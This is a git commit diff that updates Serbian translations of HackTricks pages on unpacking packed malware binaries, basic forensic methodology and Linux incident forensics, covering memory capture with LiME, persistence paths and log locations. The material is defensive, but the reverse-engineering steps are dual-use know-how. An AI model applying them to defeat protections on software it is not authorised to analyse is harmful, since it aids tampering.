mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie
This commit is contained in:
parent
e57504c635
commit
b5a6c5128a
101 changed files with 4574 additions and 4609 deletions
|
@ -1,50 +1,54 @@
|
|||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks merch**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Identifikacija pakovanih binarnih fajlova
|
||||
# Identifikacija pakovanih binarnih datoteka
|
||||
|
||||
* **Nedostatak stringova**: Često je moguće primetiti da pakovani binarni fajlovi gotovo da nemaju stringova
|
||||
* Veliki broj **neiskorišćenih stringova**: Takođe, kada zlonamerni softver koristi neku vrstu komercijalnog pakera, često se može primetiti veliki broj stringova bez međusobnih referenci. Čak i ako ti stringovi postoje, to ne znači da binarni fajl nije pakovan.
|
||||
* Možete koristiti alate kako biste pokušali da otkrijete koji paker je korišćen za pakovanje binarnog fajla:
|
||||
* **nedostatak stringova**: Uobičajeno je da pakovane binarne datoteke nemaju gotovo nikakve stringove
|
||||
* Puno **neiskorišćenih stringova**: Takođe, kada malware koristi neku vrstu komercijalnog pakera, uobičajeno je pronaći puno stringova bez međureferenci. Čak i ako ovi stringovi postoje, to ne znači da binarna datoteka nije pakovana.
|
||||
* Takođe možete koristiti neke alate da pokušate da otkrijete koji je pakera korišćen za pakovanje binarne datoteke:
|
||||
* [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
|
||||
* [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
|
||||
* [Language 2000](http://farrokhi.net/language/)
|
||||
|
||||
# Osnovne Preporuke
|
||||
# Osnovne preporuke
|
||||
|
||||
* **Počnite** analiziranje pakovanog binarnog fajla **odozdo u IDA-i i idite nagore**. Unpackeri završavaju kada završi otpakirani kod, tako da je malo verovatno da će unpacker preneti izvršenje na otpakirani kod na početku.
|
||||
* Potražite **JMP-ove** ili **CALL-ove** ka **registrima** ili **regionima** **memorije**. Takođe potražite **funkcije koje guraju argumente i adresu pravca, a zatim pozivaju `retn`**, jer će povratak funkcije u tom slučaju možda pozvati adresu koja je upravo gurnuta na stek pre poziva.
|
||||
* Postavite **prekidnu tačku** na `VirtualAlloc` jer ovo alocira prostor u memoriji gde program može pisati otpakirani kod. "Pokreni do korisničkog koda" ili koristite F8 da **dođete do vrednosti unutar EAX-a** nakon izvršenja funkcije i "**pratite tu adresu u dump-u**". Nikad ne znate da li je to region gde će se sačuvati otpakirani kod.
|
||||
* **`VirtualAlloc`** sa vrednošću "**40**" kao argument znači Read+Write+Execute (neki kod koji zahteva izvršenje će biti kopiran ovde).
|
||||
* Dok otpakujete kod, normalno je pronaći **više poziva** ka **aritmetičkim operacijama** i funkcijama poput **`memcopy`** ili **`Virtual`**`Alloc`. Ako se nađete u funkciji koja očigledno obavlja samo aritmetičke operacije i možda neki `memcopy`, preporuka je da pokušate da **pronađete kraj funkcije** (možda JMP ili poziv nekom registru) **ili** barem **poziv poslednje funkcije** i pokrenete se do nje jer kod nije interesantan.
|
||||
* Dok otpakujete kod, **obratite pažnju** svaki put kada **promenite region memorije** jer promena regiona memorije može ukazivati na **početak otpakivanja koda**. Možete lako dumpovati region memorije koristeći Process Hacker (proces --> svojstva --> memorija).
|
||||
* Pokušavajući da otpakujete kod, dobar način da **znate da li već radite sa otpakiranim kodom** (tako da ga samo dumpujete) je da **proverite stringove binarnog fajla**. Ako u nekom trenutku izvršite skok (možda promenite region memorije) i primetite da je **dodato mnogo više stringova**, tada možete znati **da radite sa otpakiranim kodom**.\
|
||||
Međutim, ako paket već sadrži mnogo stringova, možete videti koliko stringova sadrži reč "http" i videti da li se taj broj povećava.
|
||||
* Kada dumpujete izvršni fajl iz regiona memorije, možete popraviti neke zaglavlja koristeći [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
|
||||
* **Započnite** analizu pakovane binarne datoteke **od dna u IDA-i i pomerajte se ka vrhu**. Rasklopnici izlaze kada rasklopljeni kod izlazi, tako da je malo verovatno da će rasklopnik preneti izvršenje na rasklopljeni kod na početku.
|
||||
* Pretražujte za **JMP-ovima** ili **CALL-ovima** ka **registrima** ili **regionima** **memorije**. Takođe pretražujte za **funkcijama koje prosleđuju argumente i adresu, a zatim pozivaju `retn`**, jer povratak funkcije u tom slučaju može pozvati adresu koja je upravo stavljena na stek pre pozivanja.
|
||||
* Postavite **prekidač** na `VirtualAlloc` jer ovo alocira prostor u memoriji gde program može pisati rasklopljeni kod. "Pokreni do korisničkog koda" ili koristite F8 da **dobijete vrednost unutar EAX** nakon izvršavanja funkcije i "**pratite tu adresu u dump-u**". Nikada ne znate da li je to region gde će biti sačuvan rasklopljeni kod.
|
||||
* **`VirtualAlloc`** sa vrednošću "**40**" kao argument znači Čitanje+Pisanje+Izvršavanje (neki kod koji treba da se izvrši će biti kopiran ovde).
|
||||
* **Tokom rasklapanja** koda normalno je pronaći **several calls** ka **aritmetičkim operacijama** i funkcijama kao što su **`memcopy`** ili **`Virtual`**`Alloc`. Ako se nađete u funkciji koja očigledno samo vrši aritmetičke operacije i možda neki `memcopy`, preporuka je da pokušate da **pronađete kraj funkcije** (možda JMP ili poziv nekog registra) **ili** barem **poziv poslednje funkcije** i pokrenete do tada jer kod nije zanimljiv.
|
||||
* Tokom rasklapanja koda **napomena** kada god **promenite region memorije** jer promena regiona memorije može ukazivati na **početak rasklopnog koda**. Možete lako dumpovati region memorije koristeći Process Hacker (proces --> svojstva --> memorija).
|
||||
* Dok pokušavate da rasklopite kod, dobar način da **znate da li već radite sa rasklopljenim kodom** (tako da ga možete samo dumpovati) je da **proverite stringove binarne datoteke**. Ako u nekom trenutku izvršite skok (možda menjajući region memorije) i primetite da su **dodani mnogi više stringova**, tada možete znati **da radite sa rasklopljenim kodom**.\
|
||||
Međutim, ako pakera već sadrži puno stringova, možete videti koliko stringova sadrži reč "http" i videti da li se ovaj broj povećava.
|
||||
* Kada dumpujete izvršnu datoteku iz regiona memorije, možete popraviti neke zaglavlja koristeći [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks merch**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,40 +1,43 @@
|
|||
# Osnovna forenzička metodologija
|
||||
# Osnovna Forenzička Metodologija
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Kreiranje i montiranje slike
|
||||
## Kreiranje i Montiranje Slike
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md" %}
|
||||
[image-acquisition-and-mount.md](../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Analiza malvera
|
||||
## Analiza Malvera
|
||||
|
||||
Ovo **nije neophodan prvi korak koji treba preduzeti kada imate sliku**. Ali možete koristiti ove tehnike analize malvera nezavisno ako imate datoteku, sliku fajl-sistema, sliku memorije, pcap... pa je dobro **imati ove akcije na umu**:
|
||||
Ovo **nije nužno prvi korak koji treba preduzeti kada imate sliku**. Ali možete koristiti ove tehnike analize malvera nezavisno ako imate datoteku, sliku datotečnog sistema, sliku memorije, pcap... tako da je dobro **imati ove akcije na umu**:
|
||||
|
||||
{% content-ref url="malware-analysis.md" %}
|
||||
[malware-analysis.md](malware-analysis.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Inspekcija slike
|
||||
## Istraživanje Slike
|
||||
|
||||
Ako vam je data **forenzička slika** uređaja, možete početi **analizirati particije, korišćeni fajl-sistem** i **oporavljati** potencijalno **interesantne datoteke** (čak i one obrisane). Saznajte kako u:
|
||||
Ako vam je data **forenzička slika** uređaja, možete početi **analizirati particije, datotečni sistem** koji se koristi i **opraviti** potencijalno **zanimljive datoteke** (čak i obrisane). Saznajte kako u:
|
||||
|
||||
{% content-ref url="partitions-file-systems-carving/" %}
|
||||
[partitions-file-systems-carving](partitions-file-systems-carving/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Zavisno od korišćenih operativnih sistema i čak platformi, treba tražiti različite interesantne artefakte:
|
||||
U zavisnosti od korišćenih OS-ova i čak platformi, različiti zanimljivi artefakti treba da se pretražuju:
|
||||
|
||||
{% content-ref url="windows-forensics/" %}
|
||||
[windows-forensics](windows-forensics/)
|
||||
|
@ -48,10 +51,10 @@ Zavisno od korišćenih operativnih sistema i čak platformi, treba tražiti raz
|
|||
[docker-forensics.md](docker-forensics.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Detaljna inspekcija određenih tipova datoteka i softvera
|
||||
## Dubinska Istraživanja Specifičnih Tipova Datoteka i Softvera
|
||||
|
||||
Ako imate veoma **sumnjivu** **datoteku**, onda **zavisno od tipa datoteke i softvera** koji ju je kreirao, nekoliko **trikova** može biti korisno.\
|
||||
Pročitajte sledeću stranicu da biste naučili neke interesantne trikove:
|
||||
Ako imate veoma **sumnjivu** **datoteku**, onda **u zavisnosti od tipa datoteke i softvera** koji je kreirao, nekoliko **trikova** može biti korisno.\
|
||||
Pročitajte sledeću stranicu da biste saznali neke zanimljive trikove:
|
||||
|
||||
{% content-ref url="specific-software-file-type-tricks/" %}
|
||||
[specific-software-file-type-tricks](specific-software-file-type-tricks/)
|
||||
|
@ -63,19 +66,19 @@ Pročitajte sledeću stranicu da biste naučili neke interesantne trikove:
|
|||
[browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Inspekcija memorijskog ispisa
|
||||
## Istraživanje Dump-a Memorije
|
||||
|
||||
{% content-ref url="memory-dump-analysis/" %}
|
||||
[memory-dump-analysis](memory-dump-analysis/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Inspekcija pcap datoteka
|
||||
## Istraživanje Pcap-a
|
||||
|
||||
{% content-ref url="pcap-inspection/" %}
|
||||
[pcap-inspection](pcap-inspection/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Anti-forenzičke tehnike**
|
||||
## **Anti-forenzičke Tehnike**
|
||||
|
||||
Imajte na umu moguću upotrebu anti-forenzičkih tehnika:
|
||||
|
||||
|
@ -83,20 +86,23 @@ Imajte na umu moguću upotrebu anti-forenzičkih tehnika:
|
|||
[anti-forensic-techniques.md](anti-forensic-techniques.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Lov na pretnje
|
||||
## Lov na Pretnje
|
||||
|
||||
{% content-ref url="file-integrity-monitoring.md" %}
|
||||
[file-integrity-monitoring.md](file-integrity-monitoring.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -27,7 +27,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
### Osnovne informacije
|
||||
|
||||
Prvo, preporučuje se da imate neki **USB** sa **dobro poznatim binarnim datotekama i bibliotekama** (možete jednostavno preuzeti ubuntu i kopirati foldere _/bin_, _/sbin_, _/lib,_ i _/lib64_), zatim montirajte USB i modifikujte env varijable da koristite te binarne datoteke:
|
||||
Prvo, preporučuje se da imate neki **USB** sa **dobro poznatim binarnim datotekama i bibliotekama** (možete jednostavno uzeti ubuntu i kopirati foldere _/bin_, _/sbin_, _/lib,_ i _/lib64_), zatim montirajte USB i modifikujte env varijable da koristite te binarne datoteke:
|
||||
```bash
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
|
@ -68,7 +68,7 @@ Zapamtite da **ne možete instalirati LiME ili bilo šta drugo** na žrtvinskoj
|
|||
{% endhint %}
|
||||
|
||||
Dakle, ako imate identičnu verziju Ubuntua, možete koristiti `apt-get install lime-forensics-dkms`\
|
||||
U drugim slučajevima, potrebno je da preuzmete [**LiME**](https://github.com/504ensicsLabs/LiME) sa github-a i kompajlirate ga sa ispravnim kernel header-ima. Da biste **dobili tačne kernel header-e** žrtvinske mašine, možete jednostavno **kopirati direktorijum** `/lib/modules/<kernel version>` na vašu mašinu, a zatim **kompajlirati** LiME koristeći ih:
|
||||
U drugim slučajevima, potrebno je preuzeti [**LiME**](https://github.com/504ensicsLabs/LiME) sa github-a i kompajlirati ga sa ispravnim kernel header-ima. Da biste **dobili tačne kernel header-e** žrtvinske mašine, možete jednostavno **kopirati direktorijum** `/lib/modules/<kernel version>` na vašu mašinu, a zatim **kompajlirati** LiME koristeći ih:
|
||||
```bash
|
||||
make -C /lib/modules/<kernel version>/build M=$PWD
|
||||
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
||||
|
@ -243,14 +243,14 @@ Putanje gde se zlonamerni softver može instalirati kao usluga:
|
|||
* **/etc/init.d/**: Koristi se u određenim verzijama Linux-a kao što je Debian za čuvanje skripti za pokretanje.
|
||||
* Usluge se takođe mogu aktivirati putem **/etc/inetd.conf** ili **/etc/xinetd/**, u zavisnosti od Linux varijante.
|
||||
* **/etc/systemd/system**: Direktorijum za skripte menadžera sistema i usluga.
|
||||
* **/etc/systemd/system/multi-user.target.wants/**: Sadrži linkove do usluga koje treba pokrenuti u višekorisničkom režimu.
|
||||
* **/etc/systemd/system/multi-user.target.wants/**: Sadrži linkove ka uslugama koje treba pokrenuti u višekorisničkom režimu.
|
||||
* **/usr/local/etc/rc.d/**: Za prilagođene ili usluge trećih strana.
|
||||
* **\~/.config/autostart/**: Za automatske aplikacije specifične za korisnika, koje mogu biti skriveno mesto za zlonamerni softver usmeren na korisnike.
|
||||
* **/lib/systemd/system/**: Podrazumevane jedinice sistema koje obezbeđuju instalirani paketi.
|
||||
|
||||
### Kernel Moduli
|
||||
|
||||
Linux kernel moduli, često korišćeni od strane zlonamernog softvera kao komponente rootkita, učitavaju se prilikom pokretanja sistema. Direktorijumi i datoteke kritične za ove module uključuju:
|
||||
Linux kernel moduli, često korišćeni od strane zlonamernog softvera kao komponenti rootkita, učitavaju se prilikom pokretanja sistema. Direktorijumi i datoteke kritične za ove module uključuju:
|
||||
|
||||
* **/lib/modules/$(uname -r)**: Sadrži module za verziju kernel-a koja se trenutno koristi.
|
||||
* **/etc/modprobe.d**: Sadrži konfiguracione datoteke za kontrolu učitavanja modula.
|
||||
|
@ -275,17 +275,17 @@ Linux sistemi prate aktivnosti korisnika i događaje sistema kroz razne log dato
|
|||
* **/var/log/maillog** ili **/var/log/mail.log**: Beleže aktivnosti email servera, korisne za praćenje usluga povezanih sa email-om.
|
||||
* **/var/log/kern.log**: Čuva poruke kernela, uključujući greške i upozorenja.
|
||||
* **/var/log/dmesg**: Sadrži poruke drajvera uređaja.
|
||||
* **/var/log/faillog**: Beleži neuspešne pokušaje prijave, pomažući u istragama bezbednosnih proboja.
|
||||
* **/var/log/faillog**: Beleži neuspele pokušaje prijave, pomažući u istragama bezbednosnih proboja.
|
||||
* **/var/log/cron**: Beleži izvršenja cron poslova.
|
||||
* **/var/log/daemon.log**: Prati aktivnosti pozadinskih usluga.
|
||||
* **/var/log/btmp**: Dokumentuje neuspešne pokušaje prijave.
|
||||
* **/var/log/btmp**: Dokumentuje neuspele pokušaje prijave.
|
||||
* **/var/log/httpd/**: Sadrži Apache HTTPD greške i pristupne logove.
|
||||
* **/var/log/mysqld.log** ili **/var/log/mysql.log**: Beleže aktivnosti MySQL baze podataka.
|
||||
* **/var/log/xferlog**: Beleži FTP transfer fajlova.
|
||||
* **/var/log/**: Uvek proverite neočekivane logove ovde.
|
||||
|
||||
{% hint style="info" %}
|
||||
Linux sistemski logovi i audit pod sistemi mogu biti onemogućeni ili obrisani tokom upada ili incidenta sa zlonamernim softverom. Pošto logovi na Linux sistemima obično sadrže neke od najkorisnijih informacija o zlonamernim aktivnostima, napadači ih rutinski brišu. Stoga, prilikom ispitivanja dostupnih log datoteka, važno je tražiti praznine ili neuredne unose koji bi mogli biti indikacija brisanja ili manipulacije.
|
||||
Linux sistemski logovi i audit pod-sistemi mogu biti onemogućeni ili obrisani tokom upada ili incidenta sa zlonamernim softverom. Pošto logovi na Linux sistemima obično sadrže neke od najkorisnijih informacija o zlonamernim aktivnostima, napadači ih rutinski brišu. Stoga, prilikom ispitivanja dostupnih log datoteka, važno je tražiti praznine ili neuredne unose koji bi mogli biti indikacija brisanja ili manipulacije.
|
||||
{% endhint %}
|
||||
|
||||
**Linux održava istoriju komandi za svakog korisnika**, smeštenu u:
|
||||
|
@ -307,11 +307,11 @@ Proverite datoteke koje mogu dodeliti dodatne privilegije:
|
|||
|
||||
Neke aplikacije takođe generišu svoje logove:
|
||||
|
||||
* **SSH**: Istražite _\~/.ssh/authorized\_keys_ i _\~/.ssh/known\_hosts_ za neovlašćene udaljene veze.
|
||||
* **SSH**: Istražite _\~/.ssh/authorized\_keys_ i _\~/.ssh/known\_hosts_ za neovlašćene udaljene konekcije.
|
||||
* **Gnome Desktop**: Pogledajte _\~/.recently-used.xbel_ za nedavno pristupane datoteke putem Gnome aplikacija.
|
||||
* **Firefox/Chrome**: Proverite istoriju pretraživača i preuzimanja u _\~/.mozilla/firefox_ ili _\~/.config/google-chrome_ za sumnjive aktivnosti.
|
||||
* **VIM**: Pregledajte _\~/.viminfo_ za detalje o korišćenju, kao što su putanje pristupnih datoteka i istorija pretrage.
|
||||
* **Open Office**: Proverite nedavni pristup dokumentima koji mogu ukazivati na kompromitovane datoteke.
|
||||
* **Open Office**: Proverite za nedavni pristup dokumentima koji mogu ukazivati na kompromitovane datoteke.
|
||||
* **FTP/SFTP**: Pregledajte logove u _\~/.ftp\_history_ ili _\~/.sftp\_history_ za transfer fajlova koji bi mogli biti neovlašćeni.
|
||||
* **MySQL**: Istražite _\~/.mysql\_history_ za izvršene MySQL upite, potencijalno otkrivajući neovlašćene aktivnosti u bazi podataka.
|
||||
* **Less**: Analizirajte _\~/.lesshst_ za istoriju korišćenja, uključujući pregledane datoteke i izvršene komande.
|
||||
|
@ -321,7 +321,7 @@ Neke aplikacije takođe generišu svoje logove:
|
|||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) je mali komad softvera napisan u čistom Python 3 koji analizira Linux log datoteke (`/var/log/syslog*` ili `/var/log/messages*` u zavisnosti od distribucije) za konstruisanje tabela istorije USB događaja.
|
||||
|
||||
Zanimljivo je **znati sve USB uređaje koji su korišćeni** i biće korisnije ako imate autorizovanu listu USB uređaja da pronađete "događaje kršenja" (korišćenje USB uređaja koji nisu na toj listi).
|
||||
Zanimljivo je **znati sve USB uređaje koji su korišćeni** i biće korisnije ako imate ovlašćenu listu USB uređaja da pronađete "događaje kršenja" (korišćenje USB uređaja koji nisu na toj listi).
|
||||
|
||||
### Instalacija
|
||||
```bash
|
||||
|
@ -354,17 +354,17 @@ Na kraju, potražite naloge sa **bez lozinki** ili **lako pogađanim** lozinkama
|
|||
|
||||
## Istraživanje datotečnog sistema
|
||||
|
||||
### Analiza struktura datotečnog sistema u istraživanju malvera
|
||||
### Analiza struktura datotečnog sistema u istrazi malvera
|
||||
|
||||
Kada istražujete incidente sa malverom, struktura datotečnog sistema je ključni izvor informacija, otkrivajući kako redosled događaja, tako i sadržaj malvera. Međutim, autori malvera razvijaju tehnike za ometanje ove analize, kao što su modifikovanje vremenskih oznaka datoteka ili izbegavanje datotečnog sistema za skladištenje podataka.
|
||||
Kada istražujete incidente malvera, struktura datotečnog sistema je ključni izvor informacija, otkrivajući kako redosled događaja, tako i sadržaj malvera. Međutim, autori malvera razvijaju tehnike za ometanje ove analize, kao što su modifikovanje vremenskih oznaka datoteka ili izbegavanje datotečnog sistema za skladištenje podataka.
|
||||
|
||||
Da biste se suprotstavili ovim anti-forenzičkim metodama, važno je:
|
||||
|
||||
* **Sprovesti temeljnu analizu vremenske linije** koristeći alate kao što su **Autopsy** za vizualizaciju vremenskih linija događaja ili **Sleuth Kit's** `mactime` za detaljne podatke o vremenskim linijama.
|
||||
* **Sprovesti temeljnu analizu vremenskih linija** koristeći alate kao što su **Autopsy** za vizualizaciju vremenskih linija događaja ili **Sleuth Kit's** `mactime` za detaljne podatke o vremenskim linijama.
|
||||
